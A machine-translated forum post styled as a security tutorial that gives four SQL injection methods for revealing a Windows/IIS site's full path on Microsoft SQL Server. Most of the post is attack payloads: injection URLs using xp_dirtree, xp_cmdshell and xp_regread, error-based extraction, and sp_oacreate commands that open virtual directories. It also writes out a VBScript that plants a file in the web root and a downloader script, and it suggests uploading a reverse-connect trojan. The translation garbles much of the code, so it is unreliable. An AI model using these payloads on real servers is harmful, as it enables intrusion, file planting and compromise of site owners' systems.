Dieser Artikel ist ein Spiegelartikel der maschinellen Übersetzung, bitte klicken Sie hier, um zum Originalartikel zu springen.

Ansehen: 11906|Antwort: 0

[Sicherheits-Tutorial] SQL-Injektion, um den vollständigen Website-Pfad zu erhalten

[Link kopieren]
Veröffentlicht am 07.02.2015 22:19:16 | | |
SQL-Injektion, um den vollständigen Website-Pfad zu erhalten

Wenn die Website nur 80 Anschlüsse hat, werden Sie die folgenden Methoden als nützlicher empfinden
Fast alle darin verwendeten Methoden entsprechen nicht dem, was ich entdeckt habe, und der Artikel enthält immer persönliche Erfahrungen und Fähigkeiten beim Injizieren
Es gibt 4 Methoden (heute bekannt)

Erste Methode:

Dies ist die <怪异的SQL注入>in < > eingeführte Methode
Verwenden wir die xp_dirtree von SQL Server, sprechen wir zunächst über die Methode und dann über ihre Vor- und Nachteile (einige Ergänzungen basieren auf dem Originaltext)

Tabellen erstellen

Aussage:http://www.xxxxx.com/down/list.asp?id=1;create  Tabellenleiter(Pfade Varchar(1000))--
Zurück: Normale Informationen! Das bedeutet, dass die Tabelle erfolgreich erstellt wurde! Mache weiter!
(Die gebaute ist etwas größer als das Original, weil ich auf eine Datei mit langem Namen gestoßen bin und die ID gelöscht habe, weil sie nutzlos ist.)

Aussage:http://www.xxxxx.com/down/list.asp?id=1;insert  Dirs Exec master.dbo.xp_dirtree 'C:\' --
Rückmeldungen: Normale Informationen. Das bedeutet, dass alle auf Laufwerk C geschriebenen Verzeichnisse erfolgreich sind! Cool! Der nächste Schritt ist, den Zähler zu besorgen! Verletze sie und komm raus. (Es scheint, als gäbe es nur einen Weg, das zu tun.)

Aussage:http://www.xxxxx.com/down/list.asp?id=1  und 0<> (wähle die Top-1-Wege aus den Direktoren aus)-
Returns: Microsoft OLE DB Provider for SQL Server Fehler 80040e07
Ein Syntaxfehler tritt auf, wenn der Varchar-Wert '@Inetpub' in eine Spalte mit dem Datentyp int umgewandelt wird.

Dann werden die Verzeichnisnamen in der Tabelle nacheinander herausgegeben!

Aussage:http:// http://www.xxxxx.com/down/list.asp?id=1  und 0<>(wähle die obersten 1-Pfade aus
Leiter, wo Wege nicht in( '@Inetpub')) –
Returns: Microsoft OLE DB Provider for SQL Server Fehler 80040e07
Ein Syntaxfehler trat auf, wenn der Varchar-Wert 'test' in eine Spalte mit dem Datentyp int umgewandelt wurde.

Dann werden die Verzeichnisnamen in der Tabelle nacheinander herausgegeben!
Okay, machen wir weiter

Aussage:http:// http://www.xxxxx.com/down/list.asp?id=1  und 0<>(wähle die obersten 1-Pfade aus
Dirs, wo Wege nicht in( '@Inetpub', 'test')) –
Returns: Microsoft OLE DB Provider for SQL Server Fehler 80040e07
Ein Syntaxfehler tritt auf, wenn der Varchar-Wert 'haha' in eine Spalte mit dem Datentyp int umgewandelt wird.

Dann werden die Verzeichnisnamen in der Tabelle nacheinander herausgegeben!

Okay, du solltest wissen, wie das geht, haha, füge einfach den Namen der Tabelle hinzu, die du bekommst, in diese Klammer, schreib so viele wie du willst,

Ein kleiner Trick:

Manchmal stellt man fest, dass die Eingabe ähnlich ist

http://www.xxxxx.com/down/list.asp?id=1  und 0<> (wähle die Top-1-Wege aus den Direktoren aus)-

Anstelle eines Fehlers wird die Webseite normal angezeigt
Schwindelig, sei nicht nervös
Schau dir 0<> an (wähle die oberen 1-Pfade aus den Dirs aus), um zu zeigen, dass die Rückgabe eine Zahl ist,
Haha, probier es aus und schau, wie viel es kostet

100> (wähle die Top-1-Wege von den Direktoren aus)

Zurück zur Normalität
Haha, mit dieser Methode kannst du schnell mehr als oder weniger erraten
Okay, machen wir weiter
Zum Beispiel, wenn es erscheint

59=(wähle die Top-1-Wege aus den Direktoren aus)

Kehre zur Normalität zurück,
Okay, der Name ist 59
Treten Sie wie folgt ein

http:// http://www.xxxxx.com/down/list.asp?id=1  und 0<>(wähle die obersten 1-Pfade aus
Leiter, wo Wege nicht in '59' sind) –

Denken Sie daran, Anführungszeichen zu setzen
Die folgende Methode ist identisch mit der ursprünglichen
Es gibt auch ein Problem
Manchmal, wenn ich 59 mit der obigen Methode eingib, stelle ich fest, dass der nächste Ordner immer noch 59 ist
Was ist los?
Hehe, ich weiß nicht, ob dir aufgefallen ist, dass 059 und 59 gleich sind?
Deshalb, haha,

http:// http://www.xxxxx.com/down/list.asp?id=1  und 0<>(wähle die obersten 1-Pfade aus
Leiter, wo Wege nicht in sind( '059'))--

Ich habe festgestellt, dass der Name des nächsten Ordners angezeigt wird, okay

Analyse von Vor- und Nachteilen:

Der Vorteil ist, dass alle SQL-Server-Nutzer es nutzen können, da xp_dirtree die Berechtigung PUBLIC anwendet,
Der Nachteil ist, dass die Namen aller Ordner im Verzeichnis angezeigt werden, und die Anordnung scheint in keiner Reihenfolge zu sein; kurz gesagt, es ist schmerzhaft, den gewünschten Ordner in Tausenden oder Zehntausenden von Ordnern zu finden.
Und du weißt, dass dieser Ordner nicht garantiert im Root-Verzeichnis liegt, was wirklich schmerzhaft ist, oft hängt es von Glück und Ausdauer ab.
Ich wünsche dir viel Erfolg

Methode 2:

Nutzen Sie xp_cmdshell

Haha, das kennt bestimmt jeder, ich sage es kurz

Tabellen erstellen

Aussage:http://www.xxxxx.com/down/list.asp?id=1;create  Tabellenleiter(Pfade Varchar(1000))--
Zurück: Normale Informationen! Das bedeutet, dass die Tabelle erfolgreich erstellt wurde! Mache weiter!
(Der gebaute ist etwas größer als das Original, weil ich auf eine Datei mit langem Namen gestoßen bin und diese ID gelöscht habe, weil sie nutzlos ist.)

Aussage:http://www.xxxxx.com/down/list.asp?id=1;insertdirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
Rückmeldungen: Normale Informationen. Das bedeutet, dass alle auf Laufwerk C geschriebenen Verzeichnisse erfolgreich sind! dir c:\ /B/D wird hier verwendet, haha, falls du nicht weißt, was /B/D macht, versuch zu sehen, was es bewirkt.

Aussage:http://www.xxxxx.com/down/list.asp?id=1  und 0<> (wähle die Top-1-Wege aus den Direktoren aus)-
Returns: Microsoft OLE DB Provider for SQL Server Fehler 80040e07
Ein Syntaxfehler tritt auf, wenn der Varchar-Wert '@Inetpub' in eine Spalte mit dem Datentyp int umgewandelt wird.

Dann werden die Verzeichnisnamen in der Tabelle nacheinander herausgegeben!

Aussage:http:// http://www.xxxxx.com/down/list.asp?id=1  und 0<>(wähle die obersten 1-Pfade aus
Leiter, wo Wege nicht in( '@Inetpub')) –
Returns: Microsoft OLE DB Provider for SQL Server Fehler 80040e07
Ein Syntaxfehler trat auf, wenn der Varchar-Wert 'test' in eine Spalte mit dem Datentyp int umgewandelt wurde.

Dann werden die Verzeichnisnamen in der Tabelle nacheinander herausgegeben!

Die Methode ist wie oben, daher werde ich nicht darüber sprechen

Manchmal können wir auch mit den folgenden beiden Erweiterungen etwas machen

1) Wir können xp_availablemedia nutzen, um alle aktuellen Laufwerke zu erhalten und sie in der Dirs-Tabelle zu speichern:

5 ; DIRS Exec master.dbo.xp_availablemedia; --

Wir können die Liste der Laufwerke und zugehörige Informationen erhalten, indem wir den Inhalt von Temp abfragen

(2) Wir können xp_subdirs verwenden, um die Liste der Unterverzeichnisse zu erhalten und sie in der Dirs-Tabelle zu speichern:

5 ; Fügen Sie in Dirs Exec master.dbo.xp_subdirs 'c:\' ein ; --

Analyse von Vor- und Nachteilen:

Offensichtlich xp_dirtree das nicht die Situation, dass alle Verzeichnisse zusammengestellt sind, sondern nur das Verzeichnis der ersten Ebene angezeigt wird, was viel leichter zu finden ist.
Die Nachteile sind ebenfalls offensichtlich: Nur SA hat diese Berechtigung, und es ist auch möglich, dass der Administrator diese Erweiterung gelöscht hat (schließlich ist sie zu mächtig).

Methode 3:

Dieser Ansatz ist gut
Im Folgenden ist der Originaltext aufgeführt
Ich dachte daran, das adsutil.vbs-Programm zu verwenden, das ich ausgeführt habe

a'; Exec Master.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt'; --

Ist es nicht lang? Damit können wir die erste virtuelle Website im IIS einrichten (einschließlich des eigentlichen Verzeichnisses, in dem sie sich befindet, natürlich).
Importieren in a.txt
Der Standardstandort des a.txt ist natürlich c:\winnt\system32, was eigentlich kein Problem ist, aber wenn man einem Administrator begegnet, der adsutil.vbs setzt
Löschen oder woanders platzieren
Wir können nichts dagegen tun (du kannst nicht selbst mit dem Echo-Befehl einen schreiben).

Schritt 2: Verwenden Sie den Echo-Befehl, um folgenden Code in c:\ zu schreiben, was nicht viel ist.

..... xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject">c:\read.vbs'; --
..... xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell">>c:\read.vbs'
; --
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt"
Do, während nicht fil.atendofstream
nr=fil.readline
wenn links(nr,4)="Pfad" gilt, dann
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
Ende, wenn
Schleife
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------Schnitt hier-------------------------------------

Schritt 3: Natürlich geht es darum, read.vbs auszuführen, damit wir den Inhalt der aa.txt lesen und den tatsächlichen Pfad der Website finden können.
Dann schreibe eine Datei namens dd.asp im Root-Verzeichnis der Webseite, und du weißt, ob du es erfolgreich versuchen kannst
ausführenhttp://x.x.x.x/dd.asp
Rücksendungen: \xxx
Haha, das ist ein guter Weg,
Allerdings scheint der Originaltext einige Probleme zu haben
Es ist

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

Ein Fehler tritt auf, wenn zwei Sätze eingereicht werden
Also haben wir das Pluszeichen entwickelt, das die gleiche Funktion wie & hat
Und worüber soll man dd.asp schreiben? Schreib an Pa, haha
Haha, ich habe es geändert

-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa "\system32\aa.txt"
Do, während nicht fil.atendofstream
nr=fil.readline
wenn links(nr,4)="Pfad" gilt, dann
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
Ende, wenn
Schleife
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------Schnitt hier--------------------------------------
Da die Zeitzahl beim Einreichen im Browser in ein Leerzeichen umgewandelt wird, solltest du auch die
Es wird 2 % Milliarde, okay, das sollte in Ordnung sein, wie folgt
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject"
Set WshShell = Wscript.createObject("Wscript.Shell"
spa=WshShell.Environment("process"("windir")
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt"
Do, während nicht fil.atendofstream
nr=fil.readline
wenn links(nr,4)="Pfad" gilt, dann
pa=mid(nr,instr(nr,"" 3,len(nr)-instr(nr,""-3)
Exit Do
Ende, wenn
Schleife
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------Schnitt hier--------------------------------------

Wenn wir feststellen, dass 1 nicht da ist, können wir 2, 3, 4 werden...........

a'; Exec Master.. xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt'; --

Diese Methode kann jedoch nur unter Windows 2000 verwendet werden, da die Adressen neu erstellter Websites unter 2003 nicht nach 1234 geordnet sind, sie scheinbar zufällig generiert sind, und ich habe mehrere unter 2003 verglichen
Adresse, keine Regelmäßigkeit wurde gefunden.

Analyse von Vor- und Nachteilen:

Dasselbe gilt xp_cmdshell Nicht jeder Nutzer kann es nutzen! Ein weiteres Problem ist, dass die Adsutil-Datei nicht unbedingt existiert oder nicht unbedingt in diesem Pfad liegt, obwohl du sie verwenden kannst, wenn du es beabsichtigt hast.
Echo schreibt eine (haha, alt und alt), und eine weitere Frage ist: Was ist, wenn es viele Seiten auf dem Host gibt? Ich habe einen Host mit neun Seiten getroffen, und nur der achte ist nützlich
Ja, schwach, es ist schwer für jemanden, die Geduld zu haben, so durchzuhalten, vielleicht ist es schon lange zusammengebrochen. Außerdem kann es 2003 nicht mehr verwendet werden!
Aber ehrlich gesagt ist diese Methode tatsächlich eine gute Methode

Methode 4:

Diese Methode besteht darin, den Pfad aus dem Register über xp_regread usw. zu lesen
Folgendes wird empfohlen, um den Pfad der Webseite zu erhalten (lesen Sie die Registrierung über gespeicherte Prozeduren):
Nutzen Sie das integrierte gespeicherte Verfahren xp_regread (Registrierungsschlüssel lesen, öffentliche Berechtigung):

Aussage: http://www.xxx.com/list.asp?classid=1; create TABLE newtable(id int IDENTITY(1,1), paths varchar(500)) Deklarieren@test
Varchar (20) Exekutivmeister... xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT in Pfade einfügen
(Pfad) Werte(@test)

IIS-Standardpfad im Register HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
Verwenden Sie das Burst-Feld, um den Wert der Datenbank auszulesen:

Anweisung: http://www.xxx.com/list.asp?classid=1 und 0<>(wähle die obersten 1-Pfade aus newtable)--return: Microsoft OLE DB Provider für
ODBC Drivers error 80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server] wandelt den varchar-Wert E:\www,,201 in einen Datentyp int um
Spalte.

Das bedeutet, dass das Webseitenverzeichnis in E:\www liegt, und man kann dann auch mit FSO direkt auf den ASP-Trojaner schreiben
Was, wenn du kein Webverzeichnis bekommen kannst? Man muss raten, ob die Website das Standard-WEB verwendet oder die Domain als WEB.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"'

Erstelle ein virtuelles Verzeichnis E unter der Standard-WEBSEITE und verweise auf E: unter Festplatte.

declare @o int exec sp_oacreate wscript.shell , @o out exec sp_oamethod @o, run , NULL,' cscript.exe c:
\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e browse'

Es ist gut, Browsing-Attribute zum virtuellen Verzeichnis hinzuzufügen, z. B. Eröffnen Sie einen virtuellen Dienst für sich selbst. Wenn ich an diese Webseitenverzeichnispfade denke, ist mein Kopf fast kaputt. Jetzt habe ich die Augen geöffnet. Das ist die WEBSHELL, die MS verwendet
SQL ist das Ende unserer Arbeit, und der nächste Job sollte dir gehören.
Haha, die Methode ist gut, lies sie über das Anmeldeformular, praktisch und schnell!

Analyse von Vor- und Nachteilen:

Der Vorteil ist natürlich, dass es bequem und schnell ist. Der Nachteil ist, dass man nur den Pfad der Standard-IIS-Seite sehen kann, und wenn sie nicht mehr die Standardseite ist, kann man nichts mehr tun (ich habe es mit Regsnape verfolgt), falls es unter 2003 liegt
Das heißt, nicht einmal der Standardpfad der Seite wird angezeigt! In Schmerzen

Übrigens gibt es tatsächlich noch andere Möglichkeiten, die Eindringung fortzusetzen, außer den Website-Pfad zu finden, wie zum Beispiel den Bounce-Trojaner über TFTP hochzuladen oder eine iget.vbs zu schreiben, um den gewünschten Dong herunterzuladen
Der iget.vbs-Code lautet wie folgt:

---------Fang an----------
Set xPost = createObject("Microsoft.XMLHTTP"
xPost.Open "GET",LCase(WScript.Arguments(0)),0
xPost.Send()
Set sGet = createObject("ADODB. Stream"
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile LCase(WScript.Arguments(1)),2
----------Ende-----------

Ergänzung zu diesem Artikel:

Kürzlich stellte ich fest, dass mein Verständnis von Vorsitzendem Maos Anweisungen nicht tief genug war, und ich möchte hier noch hinzufügen
Tatsächlich müssen die oben genannten Methoden überhaupt nicht verglichen werden, xp_dirtree sie die besten sind, solange diese eine Methode ausreicht
Es liegt nur daran, dass ich zu ..............
Heute werde ich das Geheimnis von xp_dirtree wieder ausgraben
Okay, lasst uns ausführenden Meister sein: xp_dirtree'd:/test'
Angenommen, wir haben zwei Ordner in Test1 und Test2, und Test3 in Test1
Die Ergebnisse zeigen

Unterverzeichnis-Tiefe
Test1 1
Test3 2
Test2 1

Haha, ich habe festgestellt, dass es keine Tiefe gibt, die die Serie des Verzeichnisses ist
Okay, wissen Sie, was zu tun ist

http://www.xxxxx.com/down/list.asp?id=1;create  Tabellenleiter (Pfade Varchar(1000), id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert  Dirs Exec master.dbo.xp_dirtree 'D:\' --
http://www.xxxxx.com/down/list.asp?id=1  und 0<>(wähle die Top-1-Pfade aus den Dirs aus, wobei id=1) –

Solange id=1 hinzugefügt wird, ist es das Verzeichnis der ersten Ebene.





Vorhergehend:Intrusion Penetration: Anwendung von HTTP-Headern
Nächster:Alipay-Transfer-Screenshots werden mit einem Klick erstellt
Verzichtserklärung:
Alle von Code Farmer Network veröffentlichten Software, Programmiermaterialien oder Artikel dienen ausschließlich Lern- und Forschungszwecken; Die oben genannten Inhalte dürfen nicht für kommerzielle oder illegale Zwecke verwendet werden, andernfalls tragen die Nutzer alle Konsequenzen. Die Informationen auf dieser Seite stammen aus dem Internet, und Urheberrechtsstreitigkeiten haben nichts mit dieser Seite zu tun. Sie müssen die oben genannten Inhalte innerhalb von 24 Stunden nach dem Download vollständig von Ihrem Computer löschen. Wenn Ihnen das Programm gefällt, unterstützen Sie bitte echte Software, kaufen Sie die Registrierung und erhalten Sie bessere echte Dienstleistungen. Falls es eine Verletzung gibt, kontaktieren Sie uns bitte per E-Mail.

Mail To:help@itsvse.com